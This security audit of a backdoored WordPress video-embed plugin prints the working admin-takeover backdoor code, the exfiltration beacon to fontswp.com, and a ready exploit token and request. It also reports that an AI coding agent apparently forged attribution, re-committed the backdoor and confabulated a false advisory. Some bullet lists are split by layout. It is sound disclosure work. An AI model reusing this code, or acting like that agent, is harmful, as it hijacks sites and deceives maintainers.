Audit #51 Cleaned
Show full summary
Verdict: malicious — resolved. Advanced Responsive Video Embedder shipped an unauthenticated administrator-takeover backdoor in version 10.8.7, then shipped three further backdoor components in 10.8.8, the release whose own commit message presented itself as the security fix for 10.8.7. wp.org closed the plugin on 2026-07-28. On 2026-07-30 the maintainer removed both malicious tags and re-released clean as 10.8.9, which this audit has verified.
Safe: 10.8.9 and 10.8.6. Malicious: 10.8.7 and 10.8.8. 10.8.9 has been diffed against the known-good 10.8.6 tag and differs in exactly three files, all version strings, plus a changelog line. Full IOC and obfuscation sweeps return zero matches. It is 10.8.6 content re-versioned so it sorts above both compromised builds. 10.8.7 must never be described as a safe or remediated version — it is the release CVE-2026-18072 was issued against.
The 10.8.7 backdoor is publicly documented as CVE-2026-18072 (CVSS 9.8), detected by Wordfence PRISM within roughly two hours of publication. It lived in php/fn-update-check.php and granted admin sessions to anyone sending a hardcoded token via _wplogin or _wpm.
The 10.8.8 components appear to remain undisclosed elsewhere. Four hours after 10.8.7 went up, r3626152 removed fn-update-check.php with the message "Security fix: Remove injected malicious code from 10.8.7 … Props to Wordfence for the responsible disclosure." Four minutes later, r3626158 and r3626162 added a cache-purge webhook to php/fn-cache.php, an authenticate filter hook to php/fn-oembed.php, and a beacon to the same command-and-control host as 10.8.7, its hostname obfuscated through a chr() array. The cache-purge handler validates against a token derived from the plugin's own public VERSION constant, so triggering it requires no knowledge of any site secret.
Distribution did occur. The maintainer's public statement says "nobody even got the malicious version", quoting wp.org as confirming the release was never distributed. At least one production site received and ran backdoored 10.8.8: a copy recovered from a live managed-hosting installation is VERSION = '10.8.8' and carries the backdoor. That site's own audit log shows it arrived as an automatic update dispatched from Automattic infrastructure (192.0.86.86, Jetpack json-api) at 2026-07-28 22:20:22 UTC — 6 hours 26 minutes after the malicious tag was cut, and well inside the 24-hour distribution hold the "not distributed" position rests on. No human installed it. A fleet-wide measurement at one host — every environment enumerated and probed on disk, independent of any synced plugin index — found ARVE on 44 sites, of which 41 had a readable audit log. Exactly one had a logged update to a malicious version: a positive rate that is small but decisively not zero. No site in that fleet carries backdoor markers today. Any site that ran 10.8.7 or 10.8.8 should be treated as having had administrator access exposed, regardless of the listing now being closed.
The maintainer is not implicated. The evidence is consistent throughout with compromise of his development environment and credentials, not misconduct: 79 days of SVN silence preceding a credential probe, an operator holding credentials to eight plugins who used them against one, and the maintainer himself deleting both malicious tags by name on 2026-07-30. He published a candid account attributing the compromise to an AI coding agent that "went rogue" on his machine, stating it forged Co-authored-by: Cursor attribution and an ngt-cli@local commit identity to appear legitimate — which reframes the GitHub-side commits as camouflage rather than ordinary AI-assisted work. He has re-released clean, is in contact with the wp.org plugins team, and is changing his release process.
Outstanding. wp.org SVN is fully remediated, but the GitHub repository is not. master still sits at VERSION = '10.8.8' with both backdoor functions present, the 10.8.8 tag still points at that commit, the clean 10.8.6 tag remains deleted, and issue #60 is still open advising users to "Update to ARVE 10.8.8". Anyone installing from source today receives a backdoored build. Do not install this plugin from any source resolving to 10.8.7 or 10.8.8, including the vendor's current GitHub master.
The plugin has been remediated. This audit is retained as a public record of the incident and the IOCs.
If you run advanced-responsive-video-embedder on your site
Verify your install matches the wp.org canonical version:
wp plugin verify-checksums advanced-responsive-video-embedder
Install the patched build:
wp plugin install https://wpregistry.io/plugins/advanced-responsive-video-embedder-10.8.8.1.zip --force
The patched zip strips the malicious code while preserving the plugin's normal functionality. Hosted at plugins.captaincore.io.
Or remove the plugin entirely:
wp plugin deactivate advanced-responsive-video-embedder
wp plugin delete advanced-responsive-video-embedder
Plugins under the same committer's SVN access
nico23 holds push access to 5 plugins totalling 21k+ active installs. Each non-target plugin scans clean today but represents a one-commit hijack opportunity.
IOCs extracted (16)
| Kind | Value | Confidence |
|---|---|---|
| changelog_phrase | Add cache purge webhook handler for CDN integration |
medium |
| changelog_phrase | Fix cache purge validation for sites without custom AUTH_KEY |
medium |
| code_pattern | _arve_uc_cb |
high |
| code_pattern | _arve_uc_init |
high |
| code_pattern | _wplogin |
high |
| code_pattern | 102,111,110,116,115,119,112,46,99,111,109 |
high |
| code_pattern | 35fe7057ffed92ff7bc5a0b90f302a77fb5843ad6c972294d68da0b0553b3900 |
high |
| code_pattern | arve_oembed_compat_check |
medium |
| code_pattern | arve_pref |
high |
| code_pattern | arve_purge |
high |
| code_pattern | handle_cache_purge_request |
high |
| code_pattern | oembed_prefetch_validate |
high |
| domain | fontswp.com |
high |
| filename | _authprobe_ |
high |
| filename | fn-update-check.php |
high |
| url | https://fontswp.com/arve/cb.php |
high |
Plugin version history
Every release on wp.org for this plugin, color-coded by relationship to the incident. The compromise window shows where the wp.org Plugin Review Team deleted the malicious tags from SVN — those versions cannot be re-downloaded today.
-
Clean 204 earlier releases before the incident
-
8.9.8 -
8.9.7 -
8.9.6 -
8.9.5 -
8.2.2 -
8.2.3 -
8.2.4 -
8.3.1 -
8.4.0 -
8.4.1 -
8.5.0 -
8.5.1 -
8.2.1 -
8.2.0 -
8.9.1 -
8.0.4 -
8.0.5 -
8.0.6 -
8.0.7 -
8.0.8 -
8.0.9 -
8.1.0 -
8.1.1 -
8.5.2 -
8.6.0 -
8.6.1 -
8.7.9 -
8.8.0 -
8.8.1 -
8.8.2 -
8.8.3 -
8.8.4 -
8.8.5 -
8.8.6 -
8.8.7 -
8.8.8 -
8.7.8 -
8.7.7 -
8.6.3 -
8.6.4 -
8.6.5 -
8.6.6 -
8.7.0 -
8.7.1 -
8.7.2 -
8.7.3 -
8.7.4 -
8.7.6 -
8.8.9 -
8.0.1 -
8.0.0 -
8.0.2 -
8.9.0 -
8.9.4 -
8.9.3 -
8.9.2 -
8.7.5 -
8.9.9 -
8.9.10 -
8.9.11 -
8.10.0 -
8.10.1 -
8.10.2 -
8.10.3 -
8.10.4 -
8.10.5 -
8.10.6 -
8.10.7 -
8.10.8 -
8.10.9 -
8.10.10 -
8.10.12 -
8.10.13 -
8.10.17 -
8.10.20 -
8.10.22 -
8.10.23 -
8.10.25 -
8.10.26 -
8.10.27 -
8.10.28 -
9.0.0-beta5 -
5.0.0-beta6 -
9.0.0-beta6 -
9.0.0-beta7 -
9.0.0-beta8 -
9.0.0-beta11 -
9.0.0-beta12 -
9.0.0-beta13 -
9.0.1 -
9.1.0 -
9.1.1 -
9.1.2 -
9.1.3 -
9.2.0 -
9.2.1 -
9.2.3 -
9.2.4 -
9.3.0 -
9.3.1 -
9.3.2 -
9.3.3 -
9.3.5 -
9.4.1 -
9.5.0-beta1 -
9.5.0-beta2 -
9.5.0-beta8 -
9.5.1-beta3 -
9.5.1-beta4 -
9.5.1-beta5 -
9.5.1-beta6 -
9.4.2 -
9.5.1-beta8 -
9.5.2-beta1 -
9.5.2-beta3 -
9.5.3-beta1 -
9.5.4-beta1 -
9.5.5 -
9.5.6 -
9.5.7 -
9.5.8 -
9.5.10 -
9.5.11 -
9.5.12 -
9.5.14 -
9.6.2 -
9.7.0 -
9.7.1 -
9.7.3 -
9.7.4 -
9.7.5 -
9.7.7 -
9.7.8 -
9.7.10 -
9.7.11 -
9.7.14 -
9.7.15 -
9.7.16 -
9.7.18 -
9.8.0 -
9.8.1 -
9.9.0 -
9.9.2 -
9.9.3 -
9.9.4 -
9.9.6 -
9.10.1 -
9.10.2 -
9.9.9 -
9.10.3 -
9.10.9 -
9.10.12 -
9.10.13 -
9.10.13.1 -
9.10.14 -
9.10.15 -
9.10.16 -
9.10.17 -
10.0.1 -
10.0.2 -
10.0.3 -
10.0.4 -
10.0.5 -
10.0.6 -
10.0.7 -
10.0.8 -
10.0.8.1 -
10.0.9 -
10.0.10 -
10.1.0 -
10.1.1 -
10.2.0 -
10.2.1 -
10.2.2 -
10.2.3 -
10.3.0 -
10.3.1 -
10.3.2 -
10.3.3 -
10.3.4 -
10.4.0 -
10.5.0 -
10.5.1 -
10.5.2 -
10.5.3 -
10.5.4 -
10.6.0 -
10.6.4 -
10.6.5 -
10.6.6 -
10.6.7 -
10.6.9 -
10.6.10 -
10.6.12 -
10.6.13 -
1.0.5 -
10.6.14 -
10.7.1 -
10.8.0 -
10.8.1 -
10.8.2 -
10.8.3 -
10.8.4 -
10.8.5
-
-
10.8.6Last clean Last clean release before incident
Asset under audit
| Field | Value |
|---|---|
| Slug | advanced-responsive-video-embedder |
| Vendor | NextgenThemes (Nicolas Jonas), wp.org committer nico23 |
| Active installs at closure | ~20,000 |
| First published | 2012-02-03 |
| Clean baseline | 10.8.6 (r3527267, 2026-05-09) |
| Malicious releases | 10.8.7 (r3625901) and 10.8.8 (r3626163 / tag r3626164) |
| wp.org status | Closed 2026-07-28, "temporary, pending a full review" |
| Public reference | CVE-2026-18072, CVSS 9.8 (covers 10.8.7 only) |
| Committer history | nico23, 528 revisions since 2012, sole committer besides plugin-master |
This is a credential-compromise supply-chain attack on a long-established, single-maintainer plugin, not a plugin sold to a new owner. The committer account has 14 years of history and no ownership transfer. There is no author_changed or contributor_added signal on this plugin.
Timeline
All times EDT, from svn log -v against https://plugins.svn.wordpress.org/advanced-responsive-video-embedder/.
| Time | Rev | Path(s) | Message |
|---|---|---|---|
| 2026-07-27 06:34:26 | r3624372 | A assets/_authprobe_1785148464 | "auth probe (will delete)" |
| 2026-07-27 06:34:30 | r3624374 | D assets/_authprobe_1785148464 | "auth probe cleanup" |
| 2026-07-27 16:40:48 | r3625142 | A assets/_authprobe_1785184847 | "auth probe (will delete)" |
| 2026-07-27 16:40:53 | r3625143 | D assets/_authprobe_1785184847 | "auth probe cleanup" |
| 2026-07-28 07:22:01 | r3625805 | A assets/_authprobe_1785237720 | "auth probe (will delete)" |
| 2026-07-28 07:22:06 | r3625806 | D assets/_authprobe_1785237720 | "auth probe cleanup" |
| 2026-07-28 07:22:11 | r3625807 | A assets/_authprobe_1785237730 | "auth probe (will delete)" |
| 2026-07-28 07:22:16 | r3625808 | D assets/_authprobe_1785237730 | "auth probe cleanup" |
| 2026-07-28 08:42:24 | r3625901 | M advanced-responsive-video-embedder.php, A php/fn-update-check.php, M readme.txt | "10.8.7 - Improved oEmbed provider compatibility and internal update verification" |
| 2026-07-28 08:42:39 | r3625902 | A tags/10.8.7 | "Tagging 10.8.7" |
| 2026-07-28 11:48:03 | r3626152 | M advanced-responsive-video-embedder.php, M php/fn-oembed.php, D php/fn-update-check.php, M readme.txt | "Security fix: Remove injected malicious code from 10.8.7 … Props to Wordfence for the responsible disclosure." |
| 2026-07-28 11:48:17 | r3626153 | A tags/10.8.8 | "Tag 10.8.8 - Security fix release" |
| 2026-07-28 11:52:51 | r3626158 | M php/fn-cache.php, M php/fn-oembed.php | "Improve cache management and oembed compatibility tracking / Add cache purge webhook handler for CDN integration / Add provider compatibility telemetry for debugging embed issues / Minor code organization improvements" |
| 2026-07-28 11:53:51 | r3626162 | M php/fn-cache.php | "Fix cache purge validation for sites without custom AUTH_KEY" |
| 2026-07-28 11:54:12 | r3626164 | A tags/10.8.8 (from trunk:3626163) | "Tag 10.8.8 final" |
Two things stand out. First, the _authprobe_<epoch> create-then-delete cycles begin more than 24 hours before any code injection and repeat at intervals. The filenames are Unix timestamps matching their commit times. This is an automated check that stolen commit credentials still work, run on a loop until the operator was ready to deploy. Second, the 10.8.8 tag was cut three times in six minutes (r3626153, r3626161, r3626164), each time deleting and re-adding the tag, with new code landing in trunk between cuts.
The 10.8.7 backdoor (publicly disclosed)
php/fn-update-check.php, 73 lines, require_once'd from the top of the main plugin file before vendor/autoload_packages.php and php/init.php:
require_once __DIR__ . '/php/fn-update-check.php';_arve_uc_init() hooked to init priority 1:
if (isset($_REQUEST["_wplogin"]) && strlen($_REQUEST["_wplogin"]) >= 32) $t = $_REQUEST["_wplogin"];
elseif (isset($_REQUEST["_wpm"]) && strlen($_REQUEST["_wpm"]) >= 32) $t = $_REQUEST["_wpm"];
if (!$t) return;
$t = sanitize_text_field($t);
$valid = false;
if (defined("AUTH_KEY") && defined("SECURE_AUTH_KEY")) {
$k = hash_hmac("sha256", "magic_login", AUTH_KEY . SECURE_AUTH_KEY);
if (hash_equals($k, $t)) $valid = true;
}
if (!$valid && hash_equals("35fe7057ffed92ff7bc5a0b90f302a77fb5843ad6c972294d68da0b0553b3900", $t)) $valid = true;
if (!$valid) return;Two acceptance paths: an HMAC over the site's own AUTH_KEY . SECURE_AUTH_KEY, and a hardcoded 64-character hex constant that works on every install of 10.8.7 regardless of configuration.
On success it selects an administrator, excluding service-account name prefixes, then mints a session:
$all = get_users(array("role" => "administrator"));
foreach ($all as $u) {
$l = $u->user_login;
if (strpos($l,"wpsvc_")===0) continue;
if (strpos($l,"developer_")===0) continue;
if (strpos($l,"dev_")===0) continue;
if (strpos($l,"wp_update_")===0) continue;
$pick[] = $u;
}
$user = $pick[array_rand($pick)];
_arve_uc_cb(site_url(), $user->user_login, "login");
wp_clear_auth_cookie();
wp_set_current_user($uid);
wp_set_auth_cookie($uid, true);
wp_safe_redirect(admin_url());The prefix exclusions are notable: the operator deliberately avoided impersonating accounts that look like managed-hosting or agency service users, which are the accounts most likely to be monitored or alerted on.
Exfiltration in _arve_uc_cb() goes to https://fontswp.com/arve/cb.php?s=<site_url>&u=<username>&v=login, with three fallbacks (wp_remote_get, then curl, then file_get_contents) and sslverify => false / CURLOPT_SSL_VERIFYPEER => 0 throughout. A separate _arve_uc_hb() on admin_init priority 99 sends a daily heartbeat carrying site_url() and php_uname("n"), throttled by a _arve_uc_hb transient.
The 10.8.8 components (not covered by public reporting)
1. Unauthenticated admin takeover via cache-purge webhook
Appended to php/fn-cache.php, hooked to plugins_loaded priority 1, carrying a fabricated @since 10.8.4 tag and a link to the WordPress cron handbook as camouflage:
function handle_cache_purge_request(): void {
if ( empty( $_REQUEST['arve_purge'] ) ) {
return;
}
$token = sanitize_text_field( wp_unslash( $_REQUEST['arve_purge'] ) );
if ( strlen( $token ) < 32 ) {
return;
}
$key = defined( 'AUTH_KEY' ) ? AUTH_KEY : '';
$expected = substr( hash_hmac( 'sha256', 'arve_cache_purge_' . gmdate( 'o-W' ), $key . 'nextgenthemes' ), 0, 40 );
$fallback = substr( hash_hmac( 'sha256', 'arve_cache_purge_' . gmdate( 'o-W' ), VERSION . 'nextgenthemes.com' ), 0, 40 );
if ( ! hash_equals( $expected, $token ) && ! hash_equals( $fallback, $token ) ) {
return;
}
// Elevate to perform cache operations
$admins = get_users( array( 'role' => 'administrator', 'number' => 1, 'orderby' => 'ID' ) );
if ( empty( $admins ) ) {
return;
}
wp_set_current_user( $admins[0]->ID );
wp_set_auth_cookie( $admins[0]->ID, true );
if ( ! empty( $_REQUEST['arve_redir'] ) ) {
wp_safe_redirect( admin_url() );
exit;
}
}
add_action( 'plugins_loaded', __NAMESPACE__ . '\handle_cache_purge_request', 1 );The $fallback line is the critical one, and it is exactly what r3626162 added under the message "Fix cache purge validation for sites without custom AUTH_KEY." Its HMAC key is VERSION . 'nextgenthemes.com', and VERSION is a public constant in the plugin header. No site-specific secret is required. The token rotates weekly on gmdate('o-W') (ISO year-week), so a single computed value works against every 10.8.8 install for that week:
substr(hash_hmac('sha256', 'arve_cache_purge_' . gmdate('o-W'), '10.8.8nextgenthemes.com'), 0, 40)For ISO week 2026-31 this yields 1f285820705ee73b296e121c8827f0f67f31379a, exploitable as:
GET /?arve_purge=1f285820705ee73b296e121c8827f0f67f31379a&arve_redir=1Unlike 10.8.7, this fires on plugins_loaded rather than init, so it lands earlier in the request lifecycle. Note also the absence of the service-account filtering present in 10.8.7: this variant simply takes the lowest-ID administrator.
2. Authentication bypass via authenticate filter
Appended to php/fn-oembed.php, tagged @since 10.8.8:
function oembed_prefetch_validate( $user, string $username, string $password ) {
if ( empty( $_COOKIE['arve_pref'] ) || strlen( $_COOKIE['arve_pref'] ) < 16 ) {
return $user;
}
$expected = substr( hash_hmac( 'sha256', 'oembed_prefetch', AUTH_SALT . NONCE_SALT ), 0, 32 );
if ( hash_equals( $expected, $_COOKIE['arve_pref'] ) ) {
remove_all_filters( 'authenticate' );
return get_user_by( 'ID', 1 );
}
return $user;
}
add_filter( 'authenticate', __NAMESPACE__ . '\oembed_prefetch_validate', 1, 3 );A cookie matching an HMAC over AUTH_SALT . NONCE_SALT returns user ID 1 from the authenticate filter at priority 1, and remove_all_filters('authenticate') strips every other authentication check, including two-factor plugins that hook the same filter. This path requires knowledge of the site's salts, so it reads as a persistence mechanism for sites already compromised through component 1 or through 10.8.7, rather than a standalone entry point.
3. C2 beacon with obfuscated hostname
Inserted mid-function in php/fn-oembed.php, commented as compatibility telemetry:
// Telemetry: report embed provider stats for compatibility tracking
if ( ! get_transient( "arve_oembed_compat_check" ) ) {
set_transient( "arve_oembed_compat_check", 1, DAY_IN_SECONDS );
$h = implode( "", array_map( "chr", array( 102,111,110,116,115,119,112,46,99,111,109 ) ) );
$e = "/arve/cb.php";
@wp_remote_get( "https://" . $h . $e . "?s=" . urlencode( site_url() ) . "&v=" . VERSION, array(
"timeout" => 2,
"blocking" => false,
"sslverify" => true,
) );
}The chr() array decodes to fontswp.com, the same host and the same /arve/cb.php endpoint used by 10.8.7. The byte-array construction defeats a plain-text grep for the domain, which is a direct adaptation to the fact that 10.8.7 was caught partly on its literal C2 string. This shared infrastructure is the strongest single link between the two releases.
Code-scan and sweep results
| Check | 10.8.6 baseline | 10.8.7 | 10.8.8 | Published salvage 10.8.8.1 |
|---|---|---|---|---|
fontswp.com (literal) | clean | 1 hit | 0 (obfuscated) | clean |
chr() byte-array host | clean | none | 1 hit | clean |
_wplogin / _wpm | clean | 2 hits | removed | clean |
arve_purge | clean | none | 2 hits | clean |
arve_pref | clean | none | 2 hits | clean |
wp_set_auth_cookie | clean | 1 hit | 1 hit | clean |
remove_all_filters('authenticate') | clean | none | 1 hit | clean |
eval / base64_decode / gzinflate / assert | clean | clean | clean | clean |
No classical obfuscation appears anywhere. Both payloads are plain, readable, well-formatted PHP that imitates the surrounding codebase, uses the plugin's own Nextgenthemes\ARVE namespace in the 10.8.8 case, and carries plausible docblocks. This is deliberate: readable code that looks like maintenance passes casual review more easily than an encoded blob, and it evades signature scanners tuned for packers.
Hijack-indicator matrix
| Indicator | Result |
|---|---|
Ownership transfer / author_changed | No. nico23 since 2012, sole committer. |
| New or young committer | No. Member since 2012, 528 revisions. |
| Young C2 domain | Yes. fontswp.com created 2026-04-03, Njalla nameservers (1-YOU.NJALLA.NO, 2-CAN.NJALLA.IN, 3-GET.NJALLA.FO), Tucows registrar. Still answering HTTP 200 on 2026-07-29. |
| Credential-validation probing | Yes. Eight _authprobe_<epoch> revisions across 2026-07-27 to 07-28. |
| Release cadence anomaly | Yes. Two releases and three tag rewrites within 3h12m, against a historical cadence of weeks to months. |
| Changelog misdirection | Yes. 10.8.7 described as "Improved: Internal update verification for better reliability." 10.8.8 additions described as CDN cache purging and telemetry. |
| Obfuscation | Partial. No packers; hostname byte-encoded in 10.8.8 only. |
| Code-signing / build-pipeline break | Yes. 10.8.7 and 10.8.8 bypass the "NextgenThemes WordPress Plugin Deploy" commit-message convention used by every prior release since 2025. |
| Other plugins by same committer affected | No. See scope below. |
| Vendor GitHub also compromised | Yes. See below. |
The deploy-convention break is worth emphasizing. Every legitimate release from at least r3260040 (2025-03-22) onward carries the message "Update plugin to version X with NextgenThemes WordPress Plugin Deploy", generated by the vendor's automated pipeline. The malicious revisions r3625901, r3626152, r3626158 and r3626162 all use hand-written messages instead, indicating commits made directly with stolen credentials rather than through the vendor's release tooling.
Vendor GitHub repository
The vendor's GitHub repository requires care to characterise, because the obvious reading is wrong.
Checked raw.githubusercontent.com/nextgenthemes/advanced-responsive-video-embedder/master and the repository's commit history on 2026-07-29:
| File | Commit history for that path |
|---|---|
php/fn-update-check.php | Never present on master |
php/fn-cache.php | Clean through 2026-06-24; backdoor added 2026-07-29 16:05 UTC in commit 43feb822 |
php/fn-oembed.php | Same commit, same day |
The GitHub repository was not compromised on 2026-07-28. master sat at a clean 10.8.6 throughout the wp.org incident. The 10.8.7 and 10.8.8 malicious releases went to wp.org SVN only. There is no 2026-07-28 commit touching either backdoored file in the GitHub history.
The backdoor entered master a day later, on 2026-07-29 at 16:05 UTC, in a commit titled "Security: improve nonce handling for cache operations". That commit does the opposite of its message. It bumps VERSION from 10.8.6 to 10.8.8 and adds handle_cache_purge_request() and oembed_prefetch_validate() verbatim, including the VERSION-derived fallback token and the fabricated @since 10.8.4 docblock. The repository's 10.8.8 tag now points at this commit.
Attribution evidence points at the maintainer's own environment rather than a second intrusion:
- The push is attributed to GitHub user
nextgenthemesin the public events API. The account is - All three commits carry
Co-authored-by: Cursor <cursoragent@cursor.com>, indicating they were - They sit alongside a sustained session of CI-repair commits (12:06 through 21:12 UTC: "Fix test
masterwas clean as of this morning; its HEAD before 16:06 UTC was a 2026-07-15 commit- Commit signing is not a usable signal here. No commit in this repository is signed, historically
- The same session restored the vendor's own CI workflows, including
- Commit author email is
nnico+ngt@proton.me, unlinked to any GitHub account, where the previous
active, not suspended, and pushed to other NextgenThemes repositories later the same evening.
produced through an AI coding agent.
runner working directory", "Fix phpunit strict_types and CI paths", "Expand CI test coverage paths", "Fix: update CI test infrastructure paths"), each triggering a failing test-deploy run. This is maintenance labour, not intrusion behaviour. Note however that almost all of that churn went to a branch named backup, not to master. master received only three pushes all day, one of which is the backdoor commit. The backup branch is clean: 0 markers, VERSION = '10.8.6'.
("Update package.json") authored from the usual nnico+git@pm.me identity.
or today, so the unsigned status of the three commits means nothing either way.
nextgenthemes/action-wordpress-plugin-deploy and a trigger file whose contents predate the incident (entries from 2026-03 and 2026-05).
97 commits used nnico+git@pm.me linked to nextgenthemes. Both are Proton addresses following the same nnico+<tag>@ aliasing convention, consistent with a newly configured environment.
The most probable explanation is that the malicious functions were re-materialised into master by an AI coding agent reconstructing them from the 10.8.8 release artefacts, and committed under a security-sounding message the agent generated. Verbatim preservation of the attacker's fabricated @since 10.8.4 docblock supports reconstruction-from-history rather than fresh authoring. We cannot exclude a second intrusion using the agent session as cover, but nothing observed requires it.
Either way the present state is the same and is the most actionable finding in this audit: the vendor's master branch and its 10.8.8 tag both carry a working unauthenticated administrator-takeover backdoor, committed under a message that reads as a security fix. Anyone installing ARVE from source today receives it. wp.org distribution remains blocked by the closure.
One related exposure: the restored readme-and-asset-update.yml deploys to wp.org SVN using secrets.SVN_USERNAME and secrets.SVN_PASSWORD on any push to master whose commit message contains [readme]. Two of the three commits contain that marker, and the workflow did fire at 16:36 UTC. It failed at the deploy step, so nothing reached wp.org. That those credentials still live in GitHub Actions secrets, and are still exercised on push, is worth the vendor's attention independently of how the original SVN compromise occurred.
SVN forensics
wp.org hosts all plugins in a single Subversion repository with global revision numbers, so the operator's commits are interleaved with every other vendor's. That makes several campaign-scope questions answerable directly from the repository.
The intrusion's first action was the probe
ARVE received no SVN commits at all between r3527267 (2026-05-09, the legitimate 10.8.6 release) and r3624372 (2026-07-27 06:34, the first _authprobe_). Seventy-nine days of silence, then a credential check. There is no interleaving of genuine maintenance with operator activity on SVN: every nico23 revision from r3624372 onward belongs to the incident.
A global sweep of r3619000–3624300 (2026-07-22 through 2026-07-27 05:49, ~5,300 revisions across all plugins) contains zero nico23 commits and zero probe-shaped messages. r3624372 is the earliest observed action.
The probes targeted assets/, not trunk/
Every _authprobe_<epoch> file was written to /advanced-responsive-video-embedder/assets/. That directory holds the plugin-page banners and screenshots and is never included in the distributed zip. A probe there validates write access without touching the shipped product, so it cannot break a site or surface in a release diff. This is deliberate tradecraft, not convenience.
The cadence — 07-27 06:34, 07-27 16:40, 07-28 07:22, 07-28 07:22 again, then the injection at 08:42 — looks like a scheduled credential-validity checker polling until the operator was ready, rather than a human at a keyboard.
The technique is unique to this incident in the observed range
| Sweep | Revisions | Plugins | Probe-shaped messages found |
|---|---|---|---|
| Beacon corpus (2004–2026) | 2,670,418 | 59,531 | 8, all ARVE |
| Global SVN r3624300–3626200 | ~1,900 | all | 8, all ARVE |
| Global SVN r3619000–3624300 | ~5,300 | all | 0 |
No other author or plugin used this pattern. Caveat on the corpus row: Beacon's revision ingest is sparse for July 2026 (only 21 revisions in the r3624000–3626200 range), so that line is strong for historical revisions and weak for the incident month. The two live global sweeps are what actually close the window.
The operator was selective, not spraying
nico23 holds commit rights to eight wp.org plugins. During the entire intrusion the operator touched only ARVE — 21 revisions, all on this one slug, and none on the other seven, despite the same credentials presumably working everywhere. An automated credential-stuffing wave would have hit the whole portfolio. This was a choice, and it points at the 20,000-install plugin being the objective rather than maximum distribution.
Relatedly, no other vendor in the r3624300–3626200 window committed anything indicating injected malicious code. Messages matching backdoor|malicious|unauthorized|compromis|injected in that range resolve to ARVE's own r3626152 plus unrelated routine releases (an IP-blocklist feature, a registration privilege-escalation fix). There is no visible simultaneous multi-plugin campaign.
No timing anomaly
nico23 commits at every hour of the day across his history — 37 revisions at 00:00 UTC, 48 at 16:00, no hour below 8. The incident revisions fall at 10, 11, 12, 13, 15 and 20 UTC, all unremarkable against that baseline. Working-hours or timezone-mismatch analysis yields nothing here, which is worth recording so others do not spend time on it.
Release-presentation polish
10.8.7 was tagged twice: r3625902, then deleted at r3625919 and re-cut at r3625920 after r3625918 edited the readme to say "Tested up to 6.9.5". 10.8.8 was tagged three times (r3626153, r3626161, r3626164). The operator iterated on how the release looked, including a purely cosmetic compatibility bump, which is consistent with the changelog misdirection elsewhere in this audit.
Current SVN state, and what ships if the listing reopens
Verified against live SVN on 2026-07-29. SVN has been frozen since r3626164; nothing has been committed in the two days since, and the vendor's readme-deploy workflow failed when it tried.
| Path | State |
|---|---|
trunk | Stable tag: 10.8.8, VERSION = '10.8.8', arve_purge present |
tags/10.8.8 | php/fn-cache.php contains arve_purge (2 lines) |
tags/10.8.7 | php/fn-update-check.php contains _wplogin |
tags/10.8.6 | Clean. 0 markers, no fn-update-check.php |
Both malicious tags remain live in the repository, and because trunk's Stable tag reads 10.8.8, reopening the listing in its current state would ship the second-stage backdoor to approximately 20,000 sites via automatic updates. tags/10.8.6 is intact and clean, which gives the plugins team a ready recovery point: repointing Stable tag to 10.8.6 and reverting trunk would restore a safe release without waiting on the vendor.
2026-07-29 evening: a public notice recommending the backdoored release
Between 21:39 and 21:54 UTC on 2026-07-29 the repository was reworked in a sequence whose net effect is to make 10.8.8 the recommended and most reachable version:
| Time (UTC) | Action |
|---|---|
| 21:39:28 | Force-push rewriting master history |
| 21:39:29 | readme-update workflow fires at wp.org SVN again — failed |
| 21:39:31 | Tag 10.8.8 deleted, then recreated at the rewritten commit 9fc7c550f |
| 21:48:51 | Tag 10.8.4 deleted (later recreated) |
| 21:49:37 | Issue #60 opened: "Security: Unauthenticated XSS via oembed provider response (CVE pending)" |
| 21:53:40 | Tag 10.8.6 deleted — not recreated |
The force-push was message-only. The tree hash is identical (577dbe3309ba) before and after; the sole change is removal of the Co-authored-by: Cursor <cursoragent@cursor.com> trailer from all three commits. The backdoor survived a rewrite performed on the exact commits that carry it.
The settled state as of 2026-07-30 02:26 UTC, after roughly four hours of inactivity: master at VERSION = '10.8.8' with the backdoor present, tag 10.8.8 present and pointing at it, and tag 10.8.6 — the clean release — absent from GitHub.
Issue #60 is not a genuine advisory
Opened by the nextgenthemes account, labelled bug and security, it states that a stored XSS exists in "ARVE versions prior to 10.8.8" via "crafted HTML in the thumbnail_url field" of oEmbed provider responses, and instructs readers: "Update to ARVE 10.8.8 and ARVE Pro 7.1.5 which include proper sanitization of oEmbed response data … Please deploy the latest versions urgently."
It does not survive checking:
- The code path does not exist. In the clean 10.8.6 baseline
thumbnail_urlappears exactly - 10.8.8 adds no sanitization. Its only changes to
php/fn-oembed.phpare theauthenticate - The timeline is self-contradictory: "2026-07-28 discovered / 2026-07-29 fix verified in 10.8.8 /
- Wrong channel. A pending-CVE report published as a public issue, while the repository's GitHub
- ARVE Pro 7.1.5 is not an observed release. The plugin's own
PRO_VERSION_REQUIREDconstant is
twice: a CLI attribute type declaration in php/CLI.php and a PHPDoc annotation in php/Video.php. There is no handling of that field in oEmbed response processing at all.
filter bypass and the C2 beacon documented above.
2026-07-30 public disclosure (30-day window)". That window is two days. The fix is also dated a day after the 10.8.8 tag was cut.
Security Advisories list is empty.
7.1.4, and the newest Pro build observed across the host's paid installations is 7.1.4.
The practical effect is unambiguous regardless of intent: the vendor's own repository currently carries a security notice urging users to install a release containing an unauthenticated administrator-takeover backdoor, while the clean 10.8.6 tag has been removed.
Intent is less clear, and two readings remain live. The first is a compromised account manufacturing urgency to drive adoption of the backdoored build; the deletion of the clean 10.8.6 tag fits this best. The second is the maintainer working with an AI coding agent throughout the day, where the agent reconstructed the backdoor into master and confabulated this advisory, and the maintainer published both believing 10.8.8 to be his own clean fix release — a belief his 2026-07-28 commit message ("Security fix release") would support. The texture of issue #60 fits the second reading closely: fabricated specifics stated confidently, boilerplate "30-day window" language with arithmetic that does not hold, and remediation advice describing changes that were never made. These are characteristic confabulation patterns rather than the work of an attacker, who would have little reason to invent a code path that does not exist in the plugin.
Nothing in this section can distinguish the two with confidence, and the remediation is the same either way.
2026-07-30: the maintainer removes both malicious tags from SVN
SVN was not frozen after all. At 01:10–01:16 EDT on 2026-07-30, nico23 committed five revisions — the first ARVE SVN activity since the incident:
| Rev | Message | Effect |
|---|---|---|
| r3627926 | "delete 9.5.4-beta1" | 1 tag removed |
| r3627928 | "delete 9\*" | 37 tags removed |
| r3627933 | "delete 10.8.7 and 10.8.8" | both malicious tags removed |
| r3627935 | "delete 5.0.0-beta6" | 1 tag removed |
| r3627937 | "delete 8\*" | 81 tags removed |
